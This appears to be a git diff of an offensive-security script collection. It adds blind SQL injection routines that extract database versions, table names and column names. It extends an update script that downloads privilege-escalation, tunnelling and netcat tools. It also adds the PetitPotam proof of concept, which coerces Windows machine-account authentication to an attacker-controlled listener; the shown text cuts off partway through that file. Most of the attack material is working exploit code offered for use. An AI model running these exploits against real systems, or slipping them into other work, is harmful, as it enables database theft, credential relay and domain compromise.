||||||
|
if max_length is None:
|
||||||
|
max_length = self.extract_int(f"LENGTH({column})", table, condition, offset, verbose=verbose)
|
||||||
|
if verbose:
|
||||||
|
print("Fetched length:", max_length)
|
||||||
|
|
||||||
|
cur_str = ""
|
||||||
|
while True:
|
||||||
|
found = False
|
||||||
|
cur_column = self.ascii() + f"(substr({column},{len(cur_str) + 1},1))"
|
||||||
|
if charset:
|
||||||
|
query = self.build_query(cur_column, table, condition, offset)
|
||||||
|
for c in charset:
|
||||||
|
if self.blind_sqli(f"({query})={ord(c)}"):
|
||||||
|
found = True
|
||||||
|
cur_str += c
|
||||||
|
if verbose:
|
||||||
|
sys.stdout.write(c)
|
||||||
|
sys.stdout.flush()
|
||||||
|
break
|
||||||
|
else:
|
||||||
|
c = self.extract_int(cur_column, table, condition, min_value=0, max_value=127)
|
||||||
|
if c is not None:
|
||||||
|
found = True
|
||||||
|
cur_str += chr(c)
|
||||||
|
if verbose:
|
||||||
|
sys.stdout.write(chr(c))
|
||||||
|
sys.stdout.flush()
|
||||||
|
|
||||||
|
if not found or (max_length is not None and len(cur_str) >= max_length):
|
||||||
|
break
|
||||||
|
|
||||||
|
if verbose:
|
||||||
|
print()
|
||||||
|
|
||||||
|
return cur_str
|
||||||
|
|
||||||
|
|
||||||
class PostgreSQLi(SQLi, ABC):
|
class PostgreSQLi(SQLi, ABC):
|
||||||
def get_database_version(self, verbose=False):
|
def get_database_version(self, verbose=False):
|
||||||
@ -137,6 +253,8 @@ class PostgreSQLi(SQLi, ABC):
|
|||||||
f"table_schema='{schema}' AND table_name='{table}'",
|
f"table_schema='{schema}' AND table_name='{table}'",
|
||||||
verbose=verbose)
|
verbose=verbose)
|
||||||
|
|
||||||
|
def ascii(self):
|
||||||
|
return "ascii"
|
||||||
|
|
||||||
class MySQLi(SQLi, ABC):
|
class MySQLi(SQLi, ABC):
|
||||||
def get_database_version(self, verbose=False):
|
def get_database_version(self, verbose=False):
|
||||||
@ -156,3 +274,28 @@ class MySQLi(SQLi, ABC):
|
|||||||
return self.extract_multiple_strings("column_name", "information_schema.columns",
|
return self.extract_multiple_strings("column_name", "information_schema.columns",
|
||||||
f"table_schema='{schema}' AND table_name='{table}'",
|
f"table_schema='{schema}' AND table_name='{table}'",
|
||||||
verbose=verbose)
|
verbose=verbose)
|
||||||
|
|
||||||
|
def ascii(self):
|
||||||
|
return "ascii"
|
||||||
|
|
||||||
|
|
||||||
|
class SQLitei(SQLi, ABC):
|
||||||
|
def get_database_version(self, verbose=False):
|
||||||
|
return self.extract_string("sqlite_version()", verbose=verbose)
|
||||||
|
|
||||||
|
def get_current_user(self, verbose=False):
|
||||||
|
raise Exception("Not implemented!")
|
||||||
|
|
||||||
|
def get_current_database(self, verbose=False):
|
||||||
|
raise Exception("Not implemented!")
|
||||||
|
|
||||||
|
def get_table_names(self, verbose=False):
|
||||||
|
return self.extract_multiple_strings("name", "sqlite_schema", f"type='table'",
|
||||||
|
verbose=verbose)
|
||||||
|
|
||||||
|
def get_column_names(self, table: str, schema: str, verbose=False):
|
||||||
|
# TODO: we could query the "sql" column and parse it using regex
|
||||||
|
raise Exception("Not implemented!")
|
||||||
|
|
||||||
|
def ascii(self):
|
||||||
|
return "unicode"
|
||||||
|
@ -86,8 +86,10 @@ if __name__ == "__main__":
|
|||||||
variables = "\n".join(f"{k} = {v}" for k, v in variables.items())
|
variables = "\n".join(f"{k} = {v}" for k, v in variables.items())
|
||||||
header = f"""#!/usr/bin/env python
|
header = f"""#!/usr/bin/env python
|
||||||
|
|
||||||
# THE BASE OF THIS FILE WAS AUTOMATICALLY GENERATED BY template.py, for more information, visit
|
#
|
||||||
# https://git.romanh.de/Roman/HackingScripts
|
# THE BASE OF THIS FILE WAS AUTOMATICALLY GENERATED BY {' '.join(sys.argv)}
|
||||||
|
# For more information, visit: https://git.romanh.de/Roman/HackingScripts
|
||||||
|
#
|
||||||
|
|
||||||
import os
|
import os
|
||||||
import io
|
import io
|
||||||
@ -102,6 +104,7 @@ import urllib.parse
|
|||||||
from bs4 import BeautifulSoup
|
from bs4 import BeautifulSoup
|
||||||
from hackingscripts import util, rev_shell
|
from hackingscripts import util, rev_shell
|
||||||
from hackingscripts.fileserver import HttpFileServer
|
from hackingscripts.fileserver import HttpFileServer
|
||||||
|
from hackingscripts.sqli import MySQLi, PostgreSQLi, BlindSQLi, ReflectedSQLi
|
||||||
from urllib3.exceptions import InsecureRequestWarning
|
from urllib3.exceptions import InsecureRequestWarning
|
||||||
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
|
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
|
||||||
|
|
||||||
|
38
update.sh
38
update.sh
@ -50,6 +50,7 @@ download https://github.com/rebootuser/LinEnum/raw/master/LinEnum.sh LinEnum.sh
|
|||||||
download https://github.com/stealthcopter/deepce/raw/main/deepce.sh deepce.sh
|
download https://github.com/stealthcopter/deepce/raw/main/deepce.sh deepce.sh
|
||||||
download https://raw.githubusercontent.com/topotam/PetitPotam/main/PetitPotam.py PetitPotam.py
|
download https://raw.githubusercontent.com/topotam/PetitPotam/main/PetitPotam.py PetitPotam.py
|
||||||
|
|
||||||
|
echo ""
|
||||||
echo "Updating LinPEAS + WinPEAS…"
|
echo "Updating LinPEAS + WinPEAS…"
|
||||||
peas_version=$(get_latest_version carlospolop/PEASS-ng)
|
peas_version=$(get_latest_version carlospolop/PEASS-ng)
|
||||||
if [ ! -z "$peas_version" ]; then
|
if [ ! -z "$peas_version" ]; then
|
||||||
@ -62,7 +63,20 @@ else
|
|||||||
echo "Unable to determine latest PEAS version"
|
echo "Unable to determine latest PEAS version"
|
||||||
fi
|
fi
|
||||||
|
|
||||||
echo "Updating Chisel…"
|
# TODO: add others
|
||||||
|
echo ""
|
||||||
|
echo "Updating windows tools…"
|
||||||
|
download https://live.sysinternals.com/accesschk.exe win/accesschk.exe
|
||||||
|
download https://live.sysinternals.com/accesschk64.exe win/accesschk64.exe
|
||||||
|
download https://github.com/int0x33/nc.exe/raw/master/nc.exe win/nc.exe
|
||||||
|
download https://github.com/int0x33/nc.exe/raw/master/nc64.exe win/nc64.exe
|
||||||
|
download https://github.com/k4sth4/Juicy-Potato/raw/main/x86/jp32.exe win/JuicyPotato.exe
|
||||||
|
download https://github.com/k4sth4/Juicy-Potato/raw/main/x64/jp.exe win/JuicyPotato64.exe
|
||||||
|
download https://github.com/uknowsec/SweetPotato/raw/master/SweetPotato-Webshell-new/bin/Release/SweetPotato.exe win/SweetPotato.exe
|
||||||
|
download https://github.com/BeichenDream/GodPotato/releases/latest/download/GodPotato-NET4.exe win/GodPotato.exe
|
||||||
|
download https://raw.githubusercontent.com/topotam/PetitPotam/main/PetitPotam.py win/PetitPotam.py
|
||||||
|
|
||||||
|
echo ""
|
||||||
chisel_version=$(get_latest_version jpillora/chisel v)
|
chisel_version=$(get_latest_version jpillora/chisel v)
|
||||||
if [ ! -z "$chisel_version" ]; then
|
if [ ! -z "$chisel_version" ]; then
|
||||||
echo "Got Chisel version: $chisel_version"
|
echo "Got Chisel version: $chisel_version"
|
||||||
@ -74,19 +88,17 @@ else
|
|||||||
echo "Unable to determine latest chisel version"
|
echo "Unable to determine latest chisel version"
|
||||||
fi
|
fi
|
||||||
|
|
||||||
# TODO: add others
|
|
||||||
echo "Updating windows tools…"
|
|
||||||
download https://live.sysinternals.com/accesschk.exe win/accesschk.exe
|
|
||||||
download https://live.sysinternals.com/accesschk64.exe win/accesschk64.exe
|
|
||||||
download https://github.com/int0x33/nc.exe/raw/master/nc.exe win/nc.exe
|
|
||||||
download https://github.com/int0x33/nc.exe/raw/master/nc64.exe win/nc64.exe
|
|
||||||
download https://github.com/k4sth4/Juicy-Potato/raw/main/x86/jp32.exe win/JuicyPotato.exe
|
|
||||||
download https://github.com/k4sth4/Juicy-Potato/raw/main/x64/jp.exe win/JuicyPotato64.exe
|
|
||||||
download https://github.com/uknowsec/SweetPotato/raw/master/SweetPotato-Webshell-new/bin/Release/SweetPotato.exe win/SweetPotato.exe
|
|
||||||
download https://github.com/BeichenDream/GodPotato/releases/latest/download/GodPotato-NET4.exe win/GodPotato.exe
|
|
||||||
|
|
||||||
sharphound_version=$(get_latest_version BloodHoundAD/SharpHound v)
|
sharphound_version=$(get_latest_version BloodHoundAD/SharpHound v)
|
||||||
if [ ! -z "$sharphound_version" ]; then
|
if [ ! -z "$sharphound_version" ]; then
|
||||||
echo "Got Chisel version: $sharphound_version"
|
echo "Got Sharphound version: $sharphound_version"
|
||||||
download_zip https://github.com/BloodHoundAD/SharpHound/releases/download/v${sharphound_version}/SharpHound-v${sharphound_version}.zip win/ SharpHound.exe SharpHound.ps1
|
download_zip https://github.com/BloodHoundAD/SharpHound/releases/download/v${sharphound_version}/SharpHound-v${sharphound_version}.zip win/ SharpHound.exe SharpHound.ps1
|
||||||
fi
|
fi
|
||||||
|
|
||||||
|
socat_version=$(get_latest_version "3ndG4me/socat" v)
|
||||||
|
if [ ! -z "$socat_version" ]; then
|
||||||
|
echo "Got socat version: $socat_version"
|
||||||
|
download https://github.com/3ndG4me/socat/releases/download/v${socat_version}/socatx86.bin socat
|
||||||
|
download https://github.com/3ndG4me/socat/releases/download/v${socat_version}/socatx64.bin socat64
|
||||||
|
download https://github.com/3ndG4me/socat/releases/download/v${socat_version}/socatx86.exe win/socat.exe
|
||||||
|
download https://github.com/3ndG4me/socat/releases/download/v${socat_version}/socatx64.exe win/socat64.exe
|
||||||
|
fi
|
461
win/PetitPotam.py
Normal file
461
win/PetitPotam.py
Normal file
@ -0,0 +1,461 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
#
|
||||||
|
# Author: GILLES Lionel aka topotam (@topotam77)
|
||||||
|
#
|
||||||
|
# Greetz : grenadine(@Greynardine), skar(@__skar), didakt(@inf0sec1), plissken, pixis(@HackAndDo) my friends!
|
||||||
|
# "Most of" the code stolen from dementor.py from @3xocyte ;)
|
||||||
|
|
||||||
|
|
||||||
|
import sys
|
||||||
|
import argparse
|
||||||
|
|
||||||
|
from impacket import system_errors
|
||||||
|
from impacket.dcerpc.v5 import transport
|
||||||
|
from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT
|
||||||
|
from impacket.dcerpc.v5.dtypes import UUID, ULONG, WSTR, DWORD, NULL, BOOL, UCHAR, PCHAR, RPC_SID, LPWSTR
|
||||||
|
from impacket.dcerpc.v5.rpcrt import DCERPCException, RPC_C_AUTHN_WINNT, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
|
||||||
|
from impacket.uuid import uuidtup_to_bin
|
||||||
|
|
||||||
|
|
||||||
|
show_banner = '''
|
||||||
|
|
||||||
|
___ _ _ _ ___ _
|
||||||
|
| _ \ ___ | |_ (_) | |_ | _ \ ___ | |_ __ _ _ __
|
||||||
|
| _/ / -_) | _| | | | _| | _/ / _ \ | _| / _` | | ' \
|
||||||
|
_|_|_ \___| _\__| _|_|_ _\__| _|_|_ \___/ _\__| \__,_| |_|_|_|
|
||||||
|
_| """ |_|"""""|_|"""""|_|"""""|_|"""""|_| """ |_|"""""|_|"""""|_|"""""|_|"""""|
|
||||||
|
"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'
|
||||||
|
|
||||||
|
PoC to elicit machine account authentication via some MS-EFSRPC functions
|
||||||
|
by topotam (@topotam77)
|
||||||
|
|
||||||
|
Inspired by @tifkin_ & @elad_shamir previous work on MS-RPRN
|
||||||
|
|
||||||
|
|
||||||
|
'''
|
||||||
|
|
||||||
|
class DCERPCSessionError(DCERPCException):
|
||||||
|
def __init__(self, error_string=None, error_code=None, packet=None):
|
||||||
|
DCERPCException.__init__(self, error_string, error_code, packet)
|
||||||
|
|
||||||
|
def __str__( self ):
|
||||||
|
key = self.error_code
|
||||||
|
if key in system_errors.ERROR_MESSAGES:
|
||||||
|
error_msg_short = system_errors.ERROR_MESSAGES[key][0]
|
||||||
|
error_msg_verbose = system_errors.ERROR_MESSAGES[key][1]
|
||||||
|
return 'EFSR SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)
|
||||||
|
else:
|
||||||
|
return 'EFSR SessionError: unknown error code: 0x%x' % self.error_code
|
||||||
|
|
||||||
|
|
||||||
|
################################################################################
|
||||||
|
# STRUCTURES
|
||||||
|
################################################################################
|
||||||
|
class EXIMPORT_CONTEXT_HANDLE(NDRSTRUCT):
|
||||||
|
align = 1
|
||||||
|
structure = (
|
||||||
|
('Data', '20s'),
|
||||||
|
)
|
||||||
|
class EXIMPORT_CONTEXT_HANDLE(NDRSTRUCT):
|
||||||
|
align = 1
|
||||||
|
structure = (
|
||||||
|
('Data', '20s'),
|
||||||
|
)
|
||||||
|
class EFS_EXIM_PIPE(NDRSTRUCT):
|
||||||
|
align = 1
|
||||||
|
structure = (
|
||||||
|
('Data', ':'),
|
||||||
|
)
|
||||||
|
class EFS_HASH_BLOB(NDRSTRUCT):
|
||||||
|
|
||||||
|
structure = (
|
||||||
|
('Data', DWORD),
|
||||||
|
('cbData', PCHAR),
|
||||||
|
)
|
||||||
|
class EFS_RPC_BLOB(NDRSTRUCT):
|
||||||
|
|
||||||
|
structure = (
|
||||||
|
('Data', DWORD),
|
||||||
|
('cbData', PCHAR),
|
||||||
|
)
|
||||||
|
|
||||||
|
class EFS_CERTIFICATE_BLOB(NDRSTRUCT):
|
||||||
|
structure = (
|
||||||
|
('Type', DWORD),
|
||||||
|
('Data', DWORD),
|
||||||
|
('cbData', PCHAR),
|
||||||
|
)
|
||||||
|
class ENCRYPTION_CERTIFICATE_HASH(NDRSTRUCT):
|
||||||
|
structure = (
|
||||||
|
('Lenght', DWORD),
|
||||||
|
('SID', RPC_SID),
|
||||||
|
('Hash', EFS_HASH_BLOB),
|
||||||
|
('Display', LPWSTR),
|
||||||
|
)
|
||||||
|
class ENCRYPTION_CERTIFICATE(NDRSTRUCT):
|
||||||
|
structure = (
|
||||||
|
('Lenght', DWORD),
|
||||||
|
('SID', RPC_SID),
|
||||||
|
('Hash', EFS_CERTIFICATE_BLOB),
|
||||||
|
|
||||||
|
)
|
||||||
|
class ENCRYPTION_CERTIFICATE_HASH_LIST(NDRSTRUCT):
|
||||||
|
align = 1
|
||||||
|
structure = (
|
||||||
|
('Cert', DWORD),
|
||||||
|
('Users', ENCRYPTION_CERTIFICATE_HASH),
|
||||||
|
)
|
||||||
|
class ENCRYPTED_FILE_METADATA_SIGNATURE(NDRSTRUCT):
|
||||||
|
structure = (
|
||||||
|
('Type', DWORD),
|
||||||
|
('HASH', ENCRYPTION_CERTIFICATE_HASH_LIST),
|
||||||
|
('Certif', ENCRYPTION_CERTIFICATE),
|
||||||
|
('Blob', EFS_RPC_BLOB),
|
||||||
|
)
|
||||||
|
class EFS_RPC_BLOB(NDRSTRUCT):
|
||||||
|
structure = (
|
||||||
|
('Data', DWORD),
|
||||||
|
('cbData', PCHAR),
|
||||||
|
)
|
||||||
|
class ENCRYPTION_CERTIFICATE_LIST(NDRSTRUCT):
|
||||||
|
align = 1
|
||||||
|
structure = (
|
||||||
|
('Data', ':'),
|
||||||
|
)
|
||||||
|
|
||||||
|
################################################################################
|
||||||
|
# RPC CALLS
|
||||||
|
################################################################################
|
||||||
|
class EfsRpcOpenFileRaw(NDRCALL):
|
||||||
|
opnum = 0
|
||||||
|
structure = (
|
||||||
|
('fileName', WSTR),
|
||||||
|
('Flag', ULONG),
|
||||||
|
)
|
||||||
|
|
||||||
|
class EfsRpcOpenFileRawResponse(NDRCALL):
|
||||||
|
structure = (
|
||||||
|
('hContext', EXIMPORT_CONTEXT_HANDLE),
|
||||||
|
('ErrorCode', ULONG),
|
||||||
|
)
|
||||||
|
class EfsRpcEncryptFileSrv(NDRCALL):
|
||||||
|
opnum = 4
|
||||||
|
structure = (
|
||||||
|
('FileName', WSTR),
|
||||||
|
)
|
||||||
|
|
||||||
|
class EfsRpcEncryptFileSrvResponse(NDRCALL):
|
||||||
|
structure = (
|
||||||
|
('ErrorCode', ULONG),
|
||||||
|
)
|
||||||
|
class EfsRpcDecryptFileSrv(NDRCALL):
|
||||||
|
opnum = 5
|
||||||
|
structure = (
|
||||||
|
('FileName', WSTR),
|
||||||
|
('Flag', ULONG),
|
||||||
|
)
|
||||||
|
|
||||||
|
class EfsRpcDecryptFileSrvResponse(NDRCALL):
|
||||||
|
structure = (
|
||||||
|
('ErrorCode', ULONG),
|
||||||
|
)
|
||||||
|
class EfsRpcQueryUsersOnFile(NDRCALL):
|
||||||
|
opnum = 6
|
||||||
|
structure = (
|
||||||
|
('FileName', WSTR),
|
||||||
|
|
||||||
|
)
|
||||||
|
class EfsRpcQueryUsersOnFileResponse(NDRCALL):
|
||||||
|
structure = (
|
||||||
|
('ErrorCode', ULONG),
|
||||||
|
)
|
||||||
|
class EfsRpcQueryRecoveryAgents(NDRCALL):
|
||||||
|
opnum = 7
|
||||||
|
structure = (
|
||||||
|
('FileName', WSTR),
|
||||||
|
|
||||||
|
)
|
||||||
|
class EfsRpcQueryRecoveryAgentsResponse(NDRCALL):
|
||||||
|
structure = (
|
||||||
|
('ErrorCode', ULONG),
|
||||||
|
)
|
||||||
|
class EfsRpcRemoveUsersFromFile(NDRCALL):
|
||||||
|
opnum = 8
|
||||||
|
structure = (
|
||||||
|
('FileName', WSTR),
|
||||||
|
('Users', ENCRYPTION_CERTIFICATE_HASH_LIST)
|
||||||
|
|
||||||
|
)
|
||||||
|
class EfsRpcRemoveUsersFromFileResponse(NDRCALL):
|
||||||
|
structure = (
|
||||||
|
('ErrorCode', ULONG),
|
||||||
|
)
|
||||||
|
class EfsRpcAddUsersToFile(NDRCALL):
|
||||||
|
opnum = 9
|
||||||
|
structure = (
|
||||||
|
('FileName', WSTR),
|
||||||
|
('EncryptionCertificates', ENCRYPTION_CERTIFICATE_LIST)
|
||||||
|
|
||||||
|
)
|
||||||
|
class EfsRpcAddUsersToFileResponse(NDRCALL):
|
||||||
|
structure = (
|
||||||
|
('ErrorCode', ULONG),
|
||||||
|
)
|
||||||
|
class EfsRpcFileKeyInfo(NDRCALL):
|
||||||
|
opnum = 12
|
||||||
|
structure = (
|
||||||
|
('FileName', WSTR),
|
||||||
|
('infoClass', DWORD),
|
||||||
|
)
|
||||||
|
class EfsRpcFileKeyInfoResponse(NDRCALL):
|
||||||
|
structure = (
|
||||||
|
('ErrorCode', ULONG),
|
||||||
|
)
|
||||||
|
class EfsRpcDuplicateEncryptionInfoFile(NDRCALL):
|
||||||
|
opnum = 13
|
||||||
|
structure = (
|
||||||
|
('SrcFileName', WSTR),
|
||||||
|
('DestFileName', WSTR),
|
||||||
|
('dwCreationDisposition', DWORD),
|
||||||
|
('dwAttributes', DWORD),
|
||||||
|
('RelativeSD', EFS_RPC_BLOB),
|
||||||
|
('bInheritHandle', BOOL),
|
||||||
|
)
|
||||||
|
|
||||||
|
class EfsRpcDuplicateEncryptionInfoFileResponse(NDRCALL):
|
||||||
|
structure = (
|
||||||
|
('ErrorCode', ULONG),
|
||||||
|
)
|
||||||
|
class EfsRpcAddUsersToFileEx(NDRCALL):
|
||||||
|
opnum = 15
|
||||||
|
structure = (
|
||||||
|
('dwFlags', DWORD),
|
||||||
|
('Reserved', EFS_RPC_BLOB),
|
||||||
|
('FileName', WSTR),
|
||||||
|
('dwAttributes', DWORD),
|
||||||
|
('EncryptionCertificates', ENCRYPTION_CERTIFICATE_LIST),
|
||||||
|
)
|
||||||
|
|
||||||
|
class EfsRpcAddUsersToFileExResponse(NDRCALL):
|
||||||
|
structure = (
|
||||||
|
('ErrorCode', ULONG),
|
||||||
|
)
|
||||||
|
class EfsRpcFileKeyInfoEx(NDRCALL):
|
||||||
|
opnum = 16
|
||||||
|
structure = (
|
||||||
|
('dwFileKeyInfoFlags', DWORD),
|
||||||
|
('Reserved', EFS_RPC_BLOB),
|
||||||
|
('FileName', WSTR),
|
||||||
|
('InfoClass', DWORD),
|
||||||
|
)
|
||||||
|
class EfsRpcFileKeyInfoExResponse(NDRCALL):
|
||||||
|
structure = (
|
||||||
|
('ErrorCode', ULONG),
|
||||||
|
)
|
||||||
|
class EfsRpcGetEncryptedFileMetadata(NDRCALL):
|
||||||
|
opnum = 18
|
||||||
|
structure = (
|
||||||
|
('FileName', WSTR),
|
||||||
|
)
|
||||||
|
class EfsRpcGetEncryptedFileMetadataResponse(NDRCALL):
|
||||||
|
structure = (
|
||||||
|
('ErrorCode', ULONG),
|
||||||
|
)
|
||||||
|
class EfsRpcSetEncryptedFileMetadata(NDRCALL):
|
||||||
|
opnum = 19
|
||||||
|
structure = (
|
||||||
|
('FileName', WSTR),
|
||||||
|
('OldEfsStreamBlob', EFS_RPC_BLOB),
|
||||||
|
('NewEfsStreamBlob', EFS_RPC_BLOB),
|
||||||
|
('NewEfsSignature', ENCRYPTED_FILE_METADATA_SIGNATURE),
|
||||||
|
)
|
||||||
|
class EfsRpcSetEncryptedFileMetadataResponse(NDRCALL):
|
||||||
|
structure = (
|
||||||
|
('ErrorCode', ULONG),
|
||||||
|
)
|
||||||
|
class EfsRpcEncryptFileExSrv(NDRCALL):
|
||||||
|
opnum = 21
|
||||||
|
structure = (
|
||||||
|
('FileName', WSTR),
|
||||||
|
('ProtectorDescriptor', WSTR),
|
||||||
|
('Flags', ULONG),
|
||||||
|
)
|
||||||
|
class EfsRpcEncryptFileExSrvResponse(NDRCALL):
|
||||||
|
structure = (
|
||||||
|
('ErrorCode', ULONG),
|
||||||
|
)
|
||||||
|
#class EfsRpcQueryProtectors(NDRCALL):
|
||||||
|
# opnum = 21
|
||||||
|
# structure = (
|
||||||
|
# ('FileName', WSTR),
|
||||||
|
# ('ppProtectorList', PENCRYPTION_PROTECTOR_LIST),
|
||||||
|
# )
|
||||||
|
#class EfsRpcQueryProtectorsResponse(NDRCALL):
|
||||||
|
# structure = (
|
||||||
|
# ('ErrorCode', ULONG),
|
||||||
|
# )
|
||||||
|
|
||||||
|
################################################################################
|
||||||
|
# OPNUMs and their corresponding structures
|
||||||
|
################################################################################
|
||||||
|
OPNUMS = {
|
||||||
|
0 : (EfsRpcOpenFileRaw, EfsRpcOpenFileRawResponse),
|
||||||
|
4 : (EfsRpcEncryptFileSrv, EfsRpcEncryptFileSrvResponse),
|
||||||
|
5 : (EfsRpcDecryptFileSrv, EfsRpcDecryptFileSrvResponse),
|
||||||
|
6 : (EfsRpcQueryUsersOnFile, EfsRpcQueryUsersOnFileResponse),
|
||||||
|
7 : (EfsRpcQueryRecoveryAgents, EfsRpcQueryRecoveryAgentsResponse),
|
||||||
|
8 : (EfsRpcRemoveUsersFromFile, EfsRpcRemoveUsersFromFileResponse),
|
||||||
|
9 : (EfsRpcAddUsersToFile, EfsRpcAddUsersToFileResponse),
|
||||||
|
12 : (EfsRpcFileKeyInfo, EfsRpcFileKeyInfoResponse),
|
||||||
|
13 : (EfsRpcDuplicateEncryptionInfoFile, EfsRpcDuplicateEncryptionInfoFileResponse),
|
||||||
|
15 : (EfsRpcAddUsersToFileEx, EfsRpcAddUsersToFileExResponse),
|
||||||
|
16 : (EfsRpcFileKeyInfoEx, EfsRpcFileKeyInfoExResponse),
|
||||||
|
18 : (EfsRpcGetEncryptedFileMetadata, EfsRpcGetEncryptedFileMetadataResponse),
|
||||||
|
19 : (EfsRpcSetEncryptedFileMetadata, EfsRpcSetEncryptedFileMetadataResponse),
|
||||||
|
21 : (EfsRpcEncryptFileExSrv, EfsRpcEncryptFileExSrvResponse),
|
||||||
|
# 22 : (EfsRpcQueryProtectors, EfsRpcQueryProtectorsResponse),
|
||||||
|
}
|
||||||
|
|
||||||
|
class CoerceAuth():
|
||||||
|
def connect(self, username, password, domain, lmhash, nthash, target, pipe, doKerberos, dcHost, targetIp):
|
||||||
|
binding_params = {
|
||||||
|
'lsarpc': {
|
||||||
|
'stringBinding': r'ncacn_np:%s[\PIPE\lsarpc]' % target,
|
||||||
|
'MSRPC_UUID_EFSR': ('c681d488-d850-11d0-8c52-00c04fd90f7e', '1.0')
|
||||||
|
},
|
||||||
|
'efsr': {
|
||||||
|
'stringBinding': r'ncacn_np:%s[\PIPE\efsrpc]' % target,
|
||||||
|
'MSRPC_UUID_EFSR': ('df1941c5-fe89-4e79-bf10-463657acf44d', '1.0')
|
||||||
|
},
|
||||||
|
'samr': {
|
||||||
|
'stringBinding': r'ncacn_np:%s[\PIPE\samr]' % target,
|
||||||
|
'MSRPC_UUID_EFSR': ('c681d488-d850-11d0-8c52-00c04fd90f7e', '1.0')
|
||||||
|
},
|
||||||
|
'lsass': {
|
||||||
|
'stringBinding': r'ncacn_np:%s[\PIPE\lsass]' % target,
|
||||||
|
'MSRPC_UUID_EFSR': ('c681d488-d850-11d0-8c52-00c04fd90f7e', '1.0')
|
||||||
|
},
|
||||||
|
'netlogon': {
|
||||||
|
'stringBinding': r'ncacn_np:%s[\PIPE\netlogon]' % target,
|
||||||
|
'MSRPC_UUID_EFSR': ('c681d488-d850-11d0-8c52-00c04fd90f7e', '1.0')
|
||||||
|
},
|
||||||
|
}
|
||||||
|
rpctransport = transport.DCERPCTransportFactory(binding_params[pipe]['stringBinding'])
|
||||||
|
if hasattr(rpctransport, 'set_credentials'):
|
||||||
|
rpctransport.set_credentials(username=username, password=password, domain=domain, lmhash=lmhash, nthash=nthash)
|
||||||
|
|
||||||
|
if doKerberos:
|
||||||
|
rpctransport.set_kerberos(doKerberos, kdcHost=dcHost)
|
||||||
|
if targetIp:
|
||||||
|
rpctransport.setRemoteHost(targetIp)
|
||||||
|
|
||||||
|
dce = rpctransport.get_dce_rpc()
|
||||||
|
dce.set_auth_type(RPC_C_AUTHN_WINNT)
|
||||||
|
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
|
||||||
|
print("[-] Connecting to %s" % binding_params[pipe]['stringBinding'])
|
||||||
|
try:
|
||||||
|
dce.connect()
|
||||||
|
except Exception as e:
|
||||||
|
print("Something went wrong, check error status => %s" % str(e))
|
||||||
|
#sys.exit()
|
||||||
|
return
|
||||||
|
print("[+] Connected!")
|
||||||
|
print("[+] Binding to %s" % binding_params[pipe]['MSRPC_UUID_EFSR'][0])
|
||||||
|
try:
|
||||||
|
dce.bind(uuidtup_to_bin(binding_params[pipe]['MSRPC_UUID_EFSR']))
|
||||||
|
except Exception as e:
|
||||||
|
print("Something went wrong, check error status => %s" % str(e))
|
||||||
|
#sys.exit()
|
||||||
|
return
|
||||||
|
print("[+] Successfully bound!")
|
||||||
|
return dce
|
||||||
|
|
||||||
|
def EfsRpcOpenFileRaw(self, dce, listener):
|
||||||
|
print("[-] Sending EfsRpcOpenFileRaw!")
|
||||||
|
try:
|
||||||
|
request = EfsRpcOpenFileRaw()
|
||||||
|
request['fileName'] = '\\\\%s\\test\\Settings.ini\x00' % listener
|
||||||
|
request['Flag'] = 0
|
||||||
|
#request.dump()
|
||||||
|
resp = dce.request(request)
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
if str(e).find('ERROR_BAD_NETPATH') >= 0:
|
||||||
|
print('[+] Got expected ERROR_BAD_NETPATH exception!!')
|
||||||
|
print('[+] Attack worked!')
|
||||||
|
#sys.exit()
|
||||||
|
return None
|
||||||
|
if str(e).find('rpc_s_access_denied') >= 0:
|
||||||
|
print('[-] Got RPC_ACCESS_DENIED!! EfsRpcOpenFileRaw is probably PATCHED!')
|
||||||
|
print('[+] OK! Using unpatched function!')
|
||||||
|
print("[-] Sending EfsRpcEncryptFileSrv!")
|
||||||
|
try:
|
||||||
|
request = EfsRpcEncryptFileSrv()
|
||||||
|
request['FileName'] = '\\\\%s\\test\\Settings.ini\x00' % listener
|
||||||
|
resp = dce.request(request)
|
||||||
|
except Exception as e:
|
||||||
|
if str(e).find('ERROR_BAD_NETPATH') >= 0:
|
||||||
|
print('[+] Got expected ERROR_BAD_NETPATH exception!!')
|
||||||
|
print('[+] Attack worked!')
|
||||||
|
pass
|
||||||
|
else:
|
||||||
|
print("Something went wrong, check error status => %s" % str(e))
|
||||||
|
return None
|
||||||
|
#sys.exit()
|
||||||
|
|
||||||
|
else:
|
||||||
|
print("Something went wrong, check error status => %s" % str(e))
|
||||||
|
return None
|
||||||
|
#sys.exit()
|
||||||
|
|
||||||
|
def main():
|
||||||
|
parser = argparse.ArgumentParser(add_help = True, description = "PetitPotam - rough PoC to connect to lsarpc and elicit machine account authentication via MS-EFSRPC EfsRpcOpenFileRaw()")
|
||||||
|
parser.add_argument('-u', '--username', action="store", default='', help='valid username')
|
||||||
|
parser.add_argument('-p', '--password', action="store", default='', help='valid password (if omitted, it will be asked unless -no-pass)')
|
||||||
|
parser.add_argument('-d', '--domain', action="store", default='', help='valid domain name')
|
||||||
|
parser.add_argument('-hashes', action="store", metavar="[LMHASH]:NTHASH", help='NT/LM hashes (LM hash can be empty)')
|
||||||
|
|
||||||
|
parser.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
|
||||||
|
parser.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file '
|
||||||
|
'(KRB5CCNAME) based on target parameters. If valid credentials '
|
||||||
|
'cannot be found, it will use the ones specified in the command '
|
||||||
|
'line')
|
||||||
|
parser.add_argument('-dc-ip', action="store", metavar="ip address", help='IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter')
|
||||||
|
parser.add_argument('-target-ip', action='store', metavar="ip address",
|
||||||
|
help='IP Address of the target machine. If omitted it will use whatever was specified as target. '
|
||||||
|
'This is useful when target is the NetBIOS name or Kerberos name and you cannot resolve it')
|
||||||
|
|
||||||
|
